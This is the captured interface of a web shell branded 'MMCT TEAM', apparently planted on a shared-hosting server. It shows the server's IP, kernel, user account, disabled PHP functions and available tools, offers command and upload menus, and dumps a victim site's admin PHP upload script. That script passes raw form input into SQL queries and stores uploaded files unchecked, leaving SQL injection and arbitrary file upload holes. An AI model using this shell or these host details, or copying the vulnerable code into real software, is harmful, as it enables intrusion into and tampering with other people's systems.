MMCT TEAM
Server IP : 145.79.210.100  /  Your IP : 216.73.216.101
Web Server : LiteSpeed
System : Linux in-mum-web1954.main-hosting.eu 5.14.0-570.26.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 16 09:12:04 EDT 2025 x86_64
User : u474798400 ( 474798400)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u474798400/domains/excentia.in/public_html/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u474798400/domains/excentia.in/public_html/admin/addprojectcode.php
<?php

session_start();
include('config.php');
if( isset($_POST['submit']) )
    {
$cat_id=$_POST['pro_cat'];    
 //echo 1; 
 $filename = $_FILES["pro_img"]["name"];
$tempname = $_FILES["pro_img"]["tmp_name"]; 

$image_name=mt_rand(100000,999999).'_'.$filename;

$folder = 'project_image/'.$image_name;

move_uploaded_file($tempname, $folder);


$uploadFolder = 'project_image/';

$insert=mysqli_query($conn,"insert into tbl_project (pro_name,pro_img,pro_1st_des,pro_2nd_des,area,typology,location,year,awards,discipline,photography_credits,status) values ('".$_POST['pro_name']."','".$image_name."','".addslashes($_POST['firstcontent'])."','".addslashes($_POST['secondcontent'])."','".$_POST['area']."','".$_POST['typology']."','".$_POST['location']."','".$_POST['year']."','".$_POST['awards']."','".$_POST['discipline']."','".$_POST['pcredits']."',1)"); 
// echo "insert into tbl_project (pro_name,pro_img,pro_1st_des,pro_2nd_des,area,typology,location,year,awards,discipline,photography_credits,status) values ('".$_POST['pro_name']."','".$image_name."','".addslashes($_POST['firstcontent'])."','".addslashes($_POST['secondcontent'])."','".$_POST['area']."','".$_POST['typology']."','".$_POST['location']."','".$_POST['year']."','".$_POST['awards']."','".$_POST['discipline']."','".$_POST['pcredits']."',1)"; 
$pro_id=mysqli_insert_id($conn);

if(!empty($_FILES['mfile'])){
 foreach ($_FILES['mfile']['tmp_name'] as $key => $image) {
        $imageTmpName = $_FILES['mfile']['tmp_name'][$key];
        $imageName = mt_rand(100000,999999).'_'.$_FILES['mfile']['name'][$key];
        $result = move_uploaded_file($imageTmpName,$uploadFolder.$imageName);

        // save to database
        mysqli_query($conn,"insert into tbl_pro_images(pro_id,img) values('".$pro_id."','".$imageName."')");
    }
}
    
    foreach($cat_id as $catid){
      mysqli_query($conn,"insert into  project_cat (pro_id,sub_cat_id) values('".$pro_id."','".$catid."')");  
    }


echo 1;
}

MMCT - 2023